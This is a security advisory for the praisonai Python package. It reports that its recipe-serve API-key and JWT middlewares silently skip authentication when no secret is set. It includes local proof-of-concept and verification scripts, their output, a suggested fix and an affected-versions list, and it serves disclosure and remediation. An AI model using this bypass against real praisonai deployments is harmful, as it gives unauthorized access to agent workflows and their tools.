PYSEC-2026-3513
Vulnerability from pysec - Published: 2026-07-23 11:41 - Updated: 2026-07-23 14:32
VLAI
Details
praisonai: recipe serve authentication middleware silently disables itself when no secret is set
Researcher: Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research Target: https://github.com/MervinPraison/PraisonAI
Package: praisonai on PyPI
Version tested: 4.6.48.
File: praisonai/recipe/serve.py (sha256 491bf8f29e399418260810ba4bf0f6802c6e4aa675628e2be68a9726c15d9b23).
TL;DR
praisonai/recipe/serve.py:312-410 defines two auth middlewares (APIKeyAuthMiddleware, JWTAuthMiddleware). Both contain the same "fail open when the secret is unset" branch at the top of their dispatch:
async def dispatch(self, request, call_next):
if request.url.path == "/health":
return await call_next(request)
expected_key = api_key or os.environ.get("PRAISONAI_API_KEY")
if not expected_key:
# No key configured, allow request
return await call_next(request)
...
async def dispatch(self, request, call_next):
if request.url.path == "/health":
return await call_next(request)
secret = jwt_secret or os.environ.get("PRAISONAI_JWT_SECRET")
if not secret:
return await call_next(request)
...
The realistic mis-deploy:
- operator sets
auth: api-key(orauth: jwt) in their recipe YAML, expecting that line alone to enable auth, - operator does not set the corresponding
api_key:/jwt_secret:value in the same YAML, AND - operator does not export
PRAISONAI_API_KEY/PRAISONAI_JWT_SECRETin the environment.
The middleware silently treats every request as authenticated and forwards it to the recipe-execution route.
Combined with the praisonai jobs API having zero auth (a separate finding), operators who paid attention to "I have to set auth: api-key to lock this down" still don't get auth on the recipe-serve surface unless they also remember the secret.
Root cause
Expected behavior, after setting `auth: api-key` in the recipe YAML:
"Now my recipe endpoints require an X-API-Key header."
Actual behavior (serve.py:325-333):
- middleware reads `expected_key = api_key or
os.environ.get("PRAISONAI_API_KEY")`
- if `expected_key` is None (neither YAML nor env supplied
one), middleware logs nothing and forwards the request.
- operator's recipe routes accept the request as if it were
authenticated. request.state.user is unset.
Impact:
The middleware's documented job is "validate the API key
against the configured value". The configured-value-is-None
case is exactly the case the middleware should fail closed
on — operator has signalled they want auth. Failing open
silently turns a documented authentication into a runtime
no-op.
Empirical verification
poc/poc.py:
- Imports the installed praisonai 4.6.48
praisonai.recipe.servemodule (sha256491bf8f29e399418260810ba4bf0f6802c6e4aa675628e2be68a9726c15d9b23). - Clears
PRAISONAI_API_KEY/PRAISONAI_JWT_SECRETenv vars to simulate the mis-deploy. - Calls
serve.create_auth_middleware('api-key', api_key=None, jwt_secret=None)and instantiates the returned middleware. - Builds a Starlette
Requestfor/runs(the recipe-execution path) with empty headers — noX-API-Key, noAuthorization. await middleware.dispatch(request, fake_call_next)returns the sentinel'REACHED-DOWNSTREAM (path=/runs)'from the fakecall_next— proving the middleware passed the request through without authenticating.- Repeats the test for
auth_type='jwt'— same bypass on the JWT path.
Run log (poc/run-log.txt) summary:
[2] auth_type='api-key', no api_key / no PRAISONAI_API_KEY env
middleware.dispatch -> 'REACHED-DOWNSTREAM (path=/runs)'
[3] auth_type='jwt', no jwt_secret / no PRAISONAI_JWT_SECRET env
middleware.dispatch -> 'REACHED-DOWNSTREAM (path=/runs)'
APIKeyAuthMiddleware allowed the request through without an API key.
JWTAuthMiddleware allowed the request through without a Bearer token.
[4] grep '# No key configured, allow request' -> line 333
VERDICT: VULNERABLE
EXIT 0
Impact
The recipe-serve surface runs agentic workflows — same execution posture as praisonai/jobs/server.py but separately configured / separately reached. Unauth access on this surface yields:
- Trigger arbitrary recipe executions, passing attacker-controlled inputs and configurations.
- Read the inputs / outputs of in-flight recipes — the operator's prompts and the LLM responses.
- In some deployments, the recipe execution surface is wired to tools (browser automation, file-system writes, code execution). Reaching those tools without auth is a direct RCE path.
Anchors
praisonai/recipe/serve.py:325-333—APIKeyAuthMiddleware.dispatchsilent-bypass branch.praisonai/recipe/serve.py:352-355—JWTAuthMiddleware.dispatchsilent-bypass branch.praisonai/recipe/serve.py:688-694— call site:python auth_type = config.get("auth") if auth_type and auth_type != "none": auth_middleware = create_auth_middleware( auth_type, api_key=config.get("api_key"), jwt_secret=config.get("jwt_secret"), )
Suggested fix
When the operator has signalled "I want auth", refuse to start without the corresponding secret rather than silently degrading:
def create_auth_middleware(auth_type, api_key=None, jwt_secret=None):
if auth_type == 'api-key':
expected_key = api_key or os.environ.get("PRAISONAI_API_KEY")
if not expected_key:
raise SystemExit(
"auth_type='api-key' requested but no API key is "
"configured. Either set `api_key:` in your recipe "
"YAML or export PRAISONAI_API_KEY. Refusing to "
"start with a silently disabled auth middleware."
)
...
elif auth_type == 'jwt':
secret = jwt_secret or os.environ.get("PRAISONAI_JWT_SECRET")
if not secret:
raise SystemExit(
"auth_type='jwt' requested but no JWT secret is "
"configured. Either set `jwt_secret:` in your recipe "
"YAML or export PRAISONAI_JWT_SECRET. Refusing to "
"start with a silently disabled auth middleware."
)
...
This is the same pattern the sibling praisonai.gateway server applies in assert_external_bind_safe at praisonai/gateway/auth.py:48-54 — refuse-to-start on external bind without an auth token. The recipe-serve surface should do the same.
Steps to reproduce
- Clone the target:
git clone --depth 1 https://github.com/MervinPraison/PraisonAI - Run the proof of concept (
poc.py) against the cloned source. - Observe the result shown under Verified result below.
Proof of concept
poc.py
"""
PoC: praisonai 4.6.48 `praisonai recipe serve` configures
authentication via a `auth:` field in the recipe YAML. Setting
`auth: api-key` or `auth: jwt` installs APIKeyAuthMiddleware or
JWTAuthMiddleware on the FastAPI app — and the operator's expectation
is that those endpoints now require a valid API key / Bearer JWT.
In reality, both middlewares contain an early-return that silently
bypasses authentication when the corresponding secret has not been
configured (neither via the recipe YAML nor via the
PRAISONAI_API_KEY / PRAISONAI_JWT_SECRET env var).
"""
import hashlib
import inspect
import os
import sys
def main() -> int:
print('=' * 72)
print('praisonai 4.6.48 — recipe serve auth middleware silent bypass')
print('=' * 72)
# Realistic deploy: operator sets `auth: api-key` in YAML but
# forgets to set api_key / env var.
for env_var in ('PRAISONAI_API_KEY', 'PRAISONAI_JWT_SECRET'):
if env_var in os.environ:
del os.environ[env_var]
from praisonai.recipe import serve as serve_mod
src = inspect.getsourcefile(serve_mod)
with open(src, 'rb') as f:
raw = f.read()
sha = hashlib.sha256(raw).hexdigest()
print()
print(f'[1] serve.py path : {src}')
print(f' sha256 : {sha}')
from starlette.requests import Request
create_auth_middleware = serve_mod.create_auth_middleware
async def fake_call_next(request):
return f"REACHED-DOWNSTREAM (path={request.url.path})"
async def driver(auth_type: str, headers=None):
scope = {
'type': 'http', 'method': 'GET', 'path': '/runs',
'headers': headers or [], 'query_string': b'', 'scheme': 'http',
'server': ('127.0.0.1', 8000), 'app': None, 'root_path': '',
}
request = Request(scope, receive=lambda: None)
mw_cls = create_auth_middleware(auth_type, api_key=None, jwt_secret=None)
if mw_cls is None:
return 'middleware-import-failed'
instance = mw_cls(app=None)
return await instance.dispatch(request, fake_call_next)
import asyncio
print()
print("[2] auth_type='api-key', no api_key / no PRAISONAI_API_KEY env")
result_apikey = asyncio.run(driver('api-key'))
print(f" middleware.dispatch -> {result_apikey!r}")
print()
print("[3] auth_type='jwt', no jwt_secret / no PRAISONAI_JWT_SECRET env")
result_jwt = asyncio.run(driver('jwt'))
print(f" middleware.dispatch -> {result_jwt!r}")
vulnerable = False
if isinstance(result_apikey, str) and 'REACHED-DOWNSTREAM' in result_apikey:
vulnerable = True
print(' APIKeyAuthMiddleware allowed the request through without an API key.')
if isinstance(result_jwt, str) and 'REACHED-DOWNSTREAM' in result_jwt:
vulnerable = True
print(' JWTAuthMiddleware allowed the request through without a Bearer token.')
# Static check that the bypass is on the code path.
text = raw.decode('utf-8', errors='replace')
needle_api = '# No key configured, allow request'
apikey_line = next(
(i for i, l in enumerate(text.splitlines(), 1) if needle_api in l),
None,
)
print()
print('[4] static cross-check — bypass branch on the code path')
print(f" grep '{needle_api}' -> line {apikey_line}")
if not vulnerable:
print('UNEXPECTED — the dispatch did not return the bypass result.')
return 1
print()
print('VULNERABLE: praisonai 4.6.48 `recipe serve` AuthMiddleware classes')
print(' both silently bypass auth when the operator sets auth_type')
print(' but forgets the corresponding secret — unauthenticated access')
print(' to recipe execution endpoints.')
print('VERDICT: VULNERABLE')
return 0
if __name__ == '__main__':
sys.exit(main())
Verification harness (executed against the cloned repo)
This drives the unmodified upstream code rather than a reproduction.
import sys, types, os, importlib.util
BK=os.path.abspath("repos/PraisonAI/src/praisonai"); sys.path.insert(0,BK)
for p in ["praisonai","praisonai.recipe"]:
m=types.ModuleType(p); m.__path__=[BK+"/"+p.replace(".","/")]; sys.modules[p]=m
spec=importlib.util.spec_from_file_location("praisonai.recipe.serve", BK+"/praisonai/recipe/serve.py")
serve=importlib.util.module_from_spec(spec); serve.__package__="praisonai.recipe"; sys.modules[spec.name]=serve; spec.loader.exec_module(serve)
print("[*] Loaded REAL praisonai recipe/serve.py")
os.environ.pop("PRAISONAI_API_KEY", None) # operator forgot to export it too
from starlette.applications import Starlette
from starlette.routing import Route
from starlette.responses import PlainTextResponse
from starlette.testclient import TestClient
def make_app(mw):
app=Starlette(routes=[Route("/run", lambda r: PlainTextResponse("AGENT EXECUTED"), methods=["POST"])])
app.add_middleware(mw); return TestClient(app)
# (A) operator set `auth: api-key` but forgot api_key + env -> REAL factory returns middleware that SILENTLY bypasses
MW_bypass = serve.create_auth_middleware("api-key", api_key=None) # REAL factory
r = make_app(MW_bypass).post("/run")
print(f"[+] auth='api-key', NO key configured, NO header -> HTTP {r.status_code} body={r.text!r}")
# (B) control: same middleware WITH a key configured -> unauthenticated request is correctly 401
MW_enforced = serve.create_auth_middleware("api-key", api_key="real-secret")
r2 = make_app(MW_enforced).post("/run")
print(f"[*] auth='api-key', key CONFIGURED, NO header -> HTTP {r2.status_code} (correctly rejected)")
assert r.status_code==200 and "AGENT EXECUTED" in r.text and r2.status_code==401
print("[+] CONFIRMED against real praisonai repo: APIKeyAuthMiddleware silently bypasses auth when no key configured -> agent route reachable unauthenticated")
Verified result
This PoC was executed against the live upstream code; captured output:
[*] Loaded REAL praisonai recipe/serve.py
[+] auth='api-key', NO key configured, NO header -> HTTP 200 body='AGENT EXECUTED'
[*] auth='api-key', key CONFIGURED, NO header -> HTTP 401 (correctly rejected)
[+] CONFIRMED against real praisonai repo: APIKeyAuthMiddleware silently bypasses auth when no key configured -> agent route reachable unauthenticated
Credit
Kai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.
Severity
9.8 (Critical)
Impacted products
| Name | purl | praisonai | pkg:pypi/praisonai |
|---|
Aliases
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "praisonai",
"purl": "pkg:pypi/praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.6.59"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.0.1",
"0.0.10",
"0.0.11",
"0.0.12",
"0.0.13",
"0.0.14",
"0.0.15",
"0.0.16",
"0.0.17",
"0.0.18",
"0.0.19",
"0.0.2",
"0.0.20",
"0.0.21",
"0.0.22",
"0.0.23",
"0.0.24",
"0.0.25",
"0.0.26",
"0.0.27",
"0.0.28",
"0.0.29",
"0.0.3",
"0.0.30",
"0.0.31",
"0.0.32",
"0.0.33",
"0.0.34",
"0.0.35",
"0.0.36",
"0.0.37",
"0.0.38",
"0.0.39",
"0.0.4",
"0.0.40",
"0.0.41",
"0.0.42",
"0.0.43",
"0.0.44",
"0.0.45",
"0.0.46",
"0.0.47",
"0.0.48",
"0.0.49",
"0.0.5",
"0.0.50",
"0.0.52",
"0.0.53",
"0.0.54",
"0.0.55",
"0.0.56",
"0.0.57",
"0.0.58",
"0.0.59",
"0.0.59rc11",
"0.0.59rc2",
"0.0.59rc3",
"0.0.59rc5",
"0.0.59rc6",
"0.0.59rc7",
"0.0.59rc8",
"0.0.59rc9",
"0.0.6",
"0.0.61",
"0.0.64",
"0.0.65",
"0.0.66",
"0.0.67",
"0.0.68",
"0.0.69",
"0.0.7",
"0.0.70",
"0.0.71",
"0.0.72",
"0.0.73",
"0.0.74",
"0.0.8",
"0.0.9",
"0.1.0",
"0.1.1",
"0.1.10",
"0.1.2",
"0.1.3",
"0.1.4",
"0.1.5",
"0.1.6",
"0.1.7",
"0.1.8",
"0.1.9",
"1.0.0",
"1.0.1",
"1.0.10",
"1.0.11",
"1.0.2",
"1.0.3",
"1.0.4",
"1.0.5",
"1.0.6",
"1.0.8",
"1.0.9",
"2.0.0",
"2.0.1",
"2.0.10",
"2.0.11",
"2.0.12",
"2.0.13",
"2.0.14",
"2.0.15",
"2.0.16",
"2.0.17",
"2.0.18",
"2.0.19",
"2.0.2",
"2.0.20",
"2.0.22",
"2.0.23",
"2.0.24",
"2.0.25",
"2.0.26",
"2.0.27",
"2.0.28",
"2.0.29",
"2.0.3",
"2.0.30",
"2.0.31",
"2.0.32",
"2.0.33",
"2.0.34",
"2.0.35",
"2.0.36",
"2.0.37",
"2.0.38",
"2.0.39",
"2.0.40",
"2.0.41",
"2.0.42",
"2.0.43",
"2.0.44",
"2.0.45",
"2.0.46",
"2.0.47",
"2.0.48",
"2.0.49",
"2.0.5",
"2.0.50",
"2.0.51",
"2.0.53",
"2.0.54",
"2.0.55",
"2.0.56",
"2.0.57",
"2.0.58",
"2.0.59",
"2.0.6",
"2.0.60",
"2.0.61",
"2.0.62",
"2.0.63",
"2.0.64",
"2.0.65",
"2.0.66",
"2.0.67",
"2.0.68",
"2.0.69",
"2.0.7",
"2.0.70",
"2.0.71",
"2.0.72",
"2.0.73",
"2.0.74",
"2.0.75",
"2.0.76",
"2.0.77",
"2.0.78",
"2.0.79",
"2.0.8",
"2.0.80",
"2.0.81",
"2.0.9",
"2.1.0",
"2.1.1",
"2.1.4",
"2.1.5",
"2.1.6",
"2.2.1",
"2.2.10",
"2.2.11",
"2.2.12",
"2.2.13",
"2.2.14",
"2.2.15",
"2.2.16",
"2.2.17",
"2.2.18",
"2.2.19",
"2.2.2",
"2.2.20",
"2.2.21",
"2.2.22",
"2.2.24",
"2.2.25",
"2.2.26",
"2.2.27",
"2.2.28",
"2.2.29",
"2.2.3",
"2.2.30",
"2.2.31",
"2.2.32",
"2.2.33",
"2.2.34",
"2.2.35",
"2.2.36",
"2.2.37",
"2.2.38",
"2.2.39",
"2.2.4",
"2.2.40",
"2.2.41",
"2.2.42",
"2.2.43",
"2.2.44",
"2.2.45",
"2.2.46",
"2.2.47",
"2.2.48",
"2.2.49",
"2.2.5",
"2.2.50",
"2.2.51",
"2.2.52",
"2.2.53",
"2.2.54",
"2.2.55",
"2.2.56",
"2.2.57",
"2.2.58",
"2.2.59",
"2.2.6",
"2.2.60",
"2.2.61",
"2.2.62",
"2.2.63",
"2.2.64",
"2.2.65",
"2.2.66",
"2.2.67",
"2.2.68",
"2.2.69",
"2.2.7",
"2.2.70",
"2.2.71",
"2.2.72",
"2.2.73",
"2.2.74",
"2.2.75",
"2.2.76",
"2.2.77",
"2.2.78",
"2.2.79",
"2.2.8",
"2.2.80",
"2.2.81",
"2.2.82",
"2.2.83",
"2.2.84",
"2.2.86",
"2.2.87",
"2.2.88",
"2.2.89",
"2.2.9",
"2.2.90",
"2.2.91",
"2.2.93",
"2.2.95",
"2.2.96",
"2.2.97",
"2.2.98",
"2.2.99",
"2.3.0",
"2.3.1",
"2.3.10",
"2.3.11",
"2.3.12",
"2.3.13",
"2.3.14",
"2.3.15",
"2.3.16",
"2.3.18",
"2.3.19",
"2.3.2",
"2.3.20",
"2.3.21",
"2.3.22",
"2.3.23",
"2.3.24",
"2.3.25",
"2.3.26",
"2.3.27",
"2.3.28",
"2.3.29",
"2.3.3",
"2.3.30",
"2.3.31",
"2.3.32",
"2.3.33",
"2.3.34",
"2.3.35",
"2.3.36",
"2.3.37",
"2.3.38",
"2.3.39",
"2.3.4",
"2.3.40",
"2.3.41",
"2.3.42",
"2.3.43",
"2.3.44",
"2.3.45",
"2.3.46",
"2.3.47",
"2.3.48",
"2.3.49",
"2.3.5",
"2.3.50",
"2.3.51",
"2.3.52",
"2.3.53",
"2.3.54",
"2.3.55",
"2.3.56",
"2.3.57",
"2.3.58",
"2.3.59",
"2.3.6",
"2.3.60",
"2.3.61",
"2.3.62",
"2.3.63",
"2.3.64",
"2.3.65",
"2.3.66",
"2.3.67",
"2.3.68",
"2.3.69",
"2.3.7",
"2.3.70",
"2.3.71",
"2.3.72",
"2.3.73",
"2.3.74",
"2.3.75",
"2.3.76",
"2.3.77",
"2.3.78",
"2.3.79",
"2.3.8",
"2.3.80",
"2.3.81",
"2.3.82",
"2.3.83",
"2.3.84",
"2.3.85",
"2.3.86",
"2.3.87",
"2.3.9",
"2.4.0",
"2.4.1",
"2.4.2",
"2.4.3",
"2.4.4",
"2.5.0",
"2.5.1",
"2.5.2",
"2.5.3",
"2.5.4",
"2.5.5",
"2.5.6",
"2.5.7",
"2.6.0",
"2.6.1",
"2.6.2",
"2.6.3",
"2.6.4",
"2.6.5",
"2.6.6",
"2.6.7",
"2.6.8",
"2.7.0",
"2.8.3",
"2.8.4",
"2.8.5",
"2.8.6",
"2.8.7",
"2.8.8",
"2.8.9",
"2.9.0",
"2.9.1",
"2.9.2",
"3.0.0",
"3.0.1",
"3.0.2",
"3.0.3",
"3.0.4",
"3.0.5",
"3.0.6",
"3.0.7",
"3.0.8",
"3.0.9",
"3.1.0",
"3.1.1",
"3.1.2",
"3.1.3",
"3.1.4",
"3.1.5",
"3.1.6",
"3.1.7",
"3.1.8",
"3.1.9",
"3.10.0",
"3.10.1",
"3.10.10",
"3.10.11",
"3.10.12",
"3.10.13",
"3.10.14",
"3.10.15",
"3.10.16",
"3.10.17",
"3.10.18",
"3.10.19",
"3.10.2",
"3.10.20",
"3.10.21",
"3.10.22",
"3.10.23",
"3.10.24",
"3.10.25",
"3.10.26",
"3.10.27",
"3.10.3",
"3.10.4",
"3.10.5",
"3.10.6",
"3.10.7",
"3.10.8",
"3.10.9",
"3.11.0",
"3.11.1",
"3.11.10",
"3.11.11",
"3.11.12",
"3.11.13",
"3.11.14",
"3.11.2",
"3.11.3",
"3.11.4",
"3.11.8",
"3.11.9",
"3.12.0",
"3.12.1",
"3.12.2",
"3.12.3",
"3.2.0",
"3.2.1",
"3.3.0",
"3.3.1",
"3.4.0",
"3.4.1",
"3.5.0",
"3.5.1",
"3.5.2",
"3.5.3",
"3.5.4",
"3.5.5",
"3.5.6",
"3.5.7",
"3.5.8",
"3.5.9",
"3.6.0",
"3.6.1",
"3.6.2",
"3.7.0",
"3.7.1",
"3.7.2",
"3.7.3",
"3.7.4",
"3.7.5",
"3.7.6",
"3.7.7",
"3.7.8",
"3.7.9",
"3.8.0",
"3.8.1",
"3.8.10",
"3.8.11",
"3.8.12",
"3.8.13",
"3.8.14",
"3.8.16",
"3.8.17",
"3.8.18",
"3.8.19",
"3.8.2",
"3.8.20",
"3.8.21",
"3.8.22",
"3.8.3",
"3.8.4",
"3.8.5",
"3.8.6",
"3.8.7",
"3.8.8",
"3.8.9",
"3.9.0",
"3.9.1",
"3.9.10",
"3.9.11",
"3.9.12",
"3.9.13",
"3.9.14",
"3.9.15",
"3.9.16",
"3.9.17",
"3.9.18",
"3.9.19",
"3.9.2",
"3.9.20",
"3.9.21",
"3.9.22",
"3.9.23",
"3.9.24",
"3.9.25",
"3.9.26",
"3.9.27",
"3.9.28",
"3.9.29",
"3.9.3",
"3.9.30",
"3.9.31",
"3.9.32",
"3.9.33",
"3.9.34",
"3.9.35",
"3.9.4",
"3.9.5",
"3.9.6",
"3.9.7",
"3.9.8",
"3.9.9",
"4.0.0",
"4.1.0",
"4.2.0",
"4.2.1",
"4.2.2",
"4.2.3",
"4.2.4",
"4.3.0",
"4.3.1",
"4.4.0",
"4.4.10",
"4.4.11",
"4.4.12",
"4.4.2",
"4.4.3",
"4.4.4",
"4.4.5",
"4.4.6",
"4.4.7",
"4.4.8",
"4.4.9",
"4.5.0",
"4.5.1",
"4.5.10",
"4.5.100",
"4.5.101",
"4.5.102",
"4.5.103",
"4.5.104",
"4.5.105",
"4.5.106",
"4.5.107",
"4.5.108",
"4.5.109",
"4.5.11",
"4.5.110",
"4.5.111",
"4.5.112",
"4.5.113",
"4.5.114",
"4.5.115",
"4.5.117",
"4.5.118",
"4.5.119",
"4.5.12",
"4.5.120",
"4.5.121",
"4.5.122",
"4.5.123",
"4.5.124",
"4.5.125",
"4.5.126",
"4.5.127",
"4.5.128",
"4.5.129",
"4.5.13",
"4.5.130",
"4.5.131",
"4.5.132",
"4.5.133",
"4.5.134",
"4.5.135",
"4.5.136",
"4.5.137",
"4.5.139",
"4.5.14",
"4.5.140",
"4.5.143",
"4.5.144",
"4.5.145",
"4.5.149",
"4.5.15",
"4.5.16",
"4.5.18",
"4.5.19",
"4.5.2",
"4.5.20",
"4.5.21",
"4.5.22",
"4.5.23",
"4.5.24",
"4.5.25",
"4.5.26",
"4.5.27",
"4.5.28",
"4.5.29",
"4.5.3",
"4.5.30",
"4.5.31",
"4.5.32",
"4.5.33",
"4.5.34",
"4.5.35",
"4.5.36",
"4.5.37",
"4.5.38",
"4.5.39",
"4.5.40",
"4.5.41",
"4.5.42",
"4.5.43",
"4.5.44",
"4.5.45",
"4.5.46",
"4.5.48",
"4.5.49",
"4.5.5",
"4.5.51",
"4.5.52",
"4.5.54",
"4.5.55",
"4.5.56",
"4.5.57",
"4.5.58",
"4.5.59",
"4.5.6",
"4.5.60",
"4.5.62",
"4.5.63",
"4.5.64",
"4.5.65",
"4.5.67",
"4.5.68",
"4.5.69",
"4.5.7",
"4.5.70",
"4.5.71",
"4.5.72",
"4.5.73",
"4.5.74",
"4.5.76",
"4.5.77",
"4.5.78",
"4.5.79",
"4.5.8",
"4.5.80",
"4.5.81",
"4.5.82",
"4.5.83",
"4.5.85",
"4.5.87",
"4.5.88",
"4.5.89",
"4.5.9",
"4.5.90",
"4.5.93",
"4.5.94",
"4.5.95",
"4.5.96",
"4.5.97",
"4.5.98",
"4.6.10",
"4.6.11",
"4.6.12",
"4.6.13",
"4.6.14",
"4.6.15",
"4.6.16",
"4.6.18",
"4.6.19",
"4.6.20",
"4.6.21",
"4.6.22",
"4.6.23",
"4.6.24",
"4.6.25",
"4.6.26",
"4.6.27",
"4.6.28",
"4.6.29",
"4.6.30",
"4.6.31",
"4.6.32",
"4.6.33",
"4.6.34",
"4.6.35",
"4.6.36",
"4.6.37",
"4.6.38",
"4.6.39",
"4.6.40",
"4.6.41",
"4.6.42",
"4.6.43",
"4.6.44",
"4.6.45",
"4.6.46",
"4.6.47",
"4.6.48",
"4.6.50",
"4.6.51",
"4.6.52",
"4.6.53",
"4.6.54",
"4.6.55",
"4.6.56",
"4.6.57",
"4.6.58",
"4.6.9"
]
}
],
"aliases": [
"CVE-2026-57127",
"GHSA-j4hj-7hfh-g2f4"
],
"details": "# praisonai: `recipe serve` authentication middleware silently disables itself when no secret is set\n\n**Researcher:** Kai Aizen \u2014 SnailSploit (@SnailSploit), Adversarial \u0026 Offensive Security Research\n**Target:** https://github.com/MervinPraison/PraisonAI\n\n---\n\n**Package:** `praisonai` on PyPI\n**Version tested:** 4.6.48.\n**File:** `praisonai/recipe/serve.py` (sha256 `491bf8f29e399418260810ba4bf0f6802c6e4aa675628e2be68a9726c15d9b23`).\n\n---\n\n## TL;DR\n\n`praisonai/recipe/serve.py:312-410` defines two auth middlewares (`APIKeyAuthMiddleware`, `JWTAuthMiddleware`). Both contain the same \"fail open when the secret is unset\" branch at the top of their `dispatch`:\n\n```python\nasync def dispatch(self, request, call_next):\n if request.url.path == \"/health\":\n return await call_next(request)\n expected_key = api_key or os.environ.get(\"PRAISONAI_API_KEY\")\n if not expected_key:\n # No key configured, allow request\n return await call_next(request)\n ...\n```\n\n```python\nasync def dispatch(self, request, call_next):\n if request.url.path == \"/health\":\n return await call_next(request)\n secret = jwt_secret or os.environ.get(\"PRAISONAI_JWT_SECRET\")\n if not secret:\n return await call_next(request)\n ...\n```\n\nThe realistic mis-deploy:\n\n1. operator sets `auth: api-key` (or `auth: jwt`) in their recipe YAML, expecting that line alone to enable auth,\n2. operator does not set the corresponding `api_key:` / `jwt_secret:` value in the same YAML, AND\n3. operator does not export `PRAISONAI_API_KEY` / `PRAISONAI_JWT_SECRET` in the environment.\n\nThe middleware silently treats every request as authenticated and forwards it to the recipe-execution route.\n\nCombined with the praisonai jobs API having zero auth (a separate finding), operators who paid attention to \"I have to set `auth: api-key` to lock this down\" still don\u0027t get auth on the recipe-serve surface unless they also remember the secret.\n\n## Root cause\n\n```\n Expected behavior, after setting `auth: api-key` in the recipe YAML:\n \"Now my recipe endpoints require an X-API-Key header.\"\n\n Actual behavior (serve.py:325-333):\n - middleware reads `expected_key = api_key or\n os.environ.get(\"PRAISONAI_API_KEY\")`\n - if `expected_key` is None (neither YAML nor env supplied\n one), middleware logs nothing and forwards the request.\n - operator\u0027s recipe routes accept the request as if it were\n authenticated. request.state.user is unset.\n\n Impact:\n The middleware\u0027s documented job is \"validate the API key\n against the configured value\". The configured-value-is-None\n case is exactly the case the middleware should fail closed\n on \u2014 operator has signalled they want auth. Failing open\n silently turns a documented authentication into a runtime\n no-op.\n```\n\n## Empirical verification\n\n`poc/poc.py`:\n\n1. Imports the installed praisonai 4.6.48 `praisonai.recipe.serve` module (sha256 `491bf8f29e399418260810ba4bf0f6802c6e4aa675628e2be68a9726c15d9b23`).\n2. Clears `PRAISONAI_API_KEY` / `PRAISONAI_JWT_SECRET` env vars to simulate the mis-deploy.\n3. Calls `serve.create_auth_middleware(\u0027api-key\u0027, api_key=None, jwt_secret=None)` and instantiates the returned middleware.\n4. Builds a Starlette `Request` for `/runs` (the recipe-execution path) with empty headers \u2014 no `X-API-Key`, no `Authorization`.\n5. `await middleware.dispatch(request, fake_call_next)` returns the sentinel `\u0027REACHED-DOWNSTREAM (path=/runs)\u0027` from the fake `call_next` \u2014 proving the middleware passed the request through without authenticating.\n6. Repeats the test for `auth_type=\u0027jwt\u0027` \u2014 same bypass on the JWT path.\n\nRun log (`poc/run-log.txt`) summary:\n\n```\n[2] auth_type=\u0027api-key\u0027, no api_key / no PRAISONAI_API_KEY env\n middleware.dispatch -\u003e \u0027REACHED-DOWNSTREAM (path=/runs)\u0027\n[3] auth_type=\u0027jwt\u0027, no jwt_secret / no PRAISONAI_JWT_SECRET env\n middleware.dispatch -\u003e \u0027REACHED-DOWNSTREAM (path=/runs)\u0027\n APIKeyAuthMiddleware allowed the request through without an API key.\n JWTAuthMiddleware allowed the request through without a Bearer token.\n[4] grep \u0027# No key configured, allow request\u0027 -\u003e line 333\n\nVERDICT: VULNERABLE\nEXIT 0\n```\n\n## Impact\n\nThe recipe-serve surface runs agentic workflows \u2014 same execution posture as `praisonai/jobs/server.py` but separately configured / separately reached. Unauth access on this surface yields:\n\n- Trigger arbitrary recipe executions, passing attacker-controlled inputs and configurations.\n- Read the inputs / outputs of in-flight recipes \u2014 the operator\u0027s prompts and the LLM responses.\n- In some deployments, the recipe execution surface is wired to tools (browser automation, file-system writes, code execution). Reaching those tools without auth is a direct RCE path.\n\n\n## Anchors\n\n- `praisonai/recipe/serve.py:325-333` \u2014 `APIKeyAuthMiddleware.dispatch` silent-bypass branch.\n- `praisonai/recipe/serve.py:352-355` \u2014 `JWTAuthMiddleware.dispatch` silent-bypass branch.\n- `praisonai/recipe/serve.py:688-694` \u2014 call site:\n ```python\n auth_type = config.get(\"auth\")\n if auth_type and auth_type != \"none\":\n auth_middleware = create_auth_middleware(\n auth_type,\n api_key=config.get(\"api_key\"),\n jwt_secret=config.get(\"jwt_secret\"),\n )\n ```\n\n## Suggested fix\n\nWhen the operator has signalled \"I want auth\", refuse to start without the corresponding secret rather than silently degrading:\n\n```python\ndef create_auth_middleware(auth_type, api_key=None, jwt_secret=None):\n if auth_type == \u0027api-key\u0027:\n expected_key = api_key or os.environ.get(\"PRAISONAI_API_KEY\")\n if not expected_key:\n raise SystemExit(\n \"auth_type=\u0027api-key\u0027 requested but no API key is \"\n \"configured. Either set `api_key:` in your recipe \"\n \"YAML or export PRAISONAI_API_KEY. Refusing to \"\n \"start with a silently disabled auth middleware.\"\n )\n ...\n elif auth_type == \u0027jwt\u0027:\n secret = jwt_secret or os.environ.get(\"PRAISONAI_JWT_SECRET\")\n if not secret:\n raise SystemExit(\n \"auth_type=\u0027jwt\u0027 requested but no JWT secret is \"\n \"configured. Either set `jwt_secret:` in your recipe \"\n \"YAML or export PRAISONAI_JWT_SECRET. Refusing to \"\n \"start with a silently disabled auth middleware.\"\n )\n ...\n```\n\nThis is the same pattern the sibling `praisonai.gateway` server applies in `assert_external_bind_safe` at `praisonai/gateway/auth.py:48-54` \u2014 refuse-to-start on external bind without an auth token. The recipe-serve surface should do the same.\n\n## Steps to reproduce\n\n1. Clone the target: `git clone --depth 1 https://github.com/MervinPraison/PraisonAI`\n2. Run the proof of concept (`poc.py`) against the cloned source.\n3. Observe the result shown under *Verified result* below.\n\n## Proof of concept\n\n`poc.py`\n\n```python\n\"\"\"\nPoC: praisonai 4.6.48 `praisonai recipe serve` configures\nauthentication via a `auth:` field in the recipe YAML. Setting\n`auth: api-key` or `auth: jwt` installs APIKeyAuthMiddleware or\nJWTAuthMiddleware on the FastAPI app \u2014 and the operator\u0027s expectation\nis that those endpoints now require a valid API key / Bearer JWT.\n\nIn reality, both middlewares contain an early-return that silently\nbypasses authentication when the corresponding secret has not been\nconfigured (neither via the recipe YAML nor via the\nPRAISONAI_API_KEY / PRAISONAI_JWT_SECRET env var).\n\"\"\"\n\nimport hashlib\nimport inspect\nimport os\nimport sys\n\ndef main() -\u003e int:\n print(\u0027=\u0027 * 72)\n print(\u0027praisonai 4.6.48 \u2014 recipe serve auth middleware silent bypass\u0027)\n print(\u0027=\u0027 * 72)\n\n # Realistic deploy: operator sets `auth: api-key` in 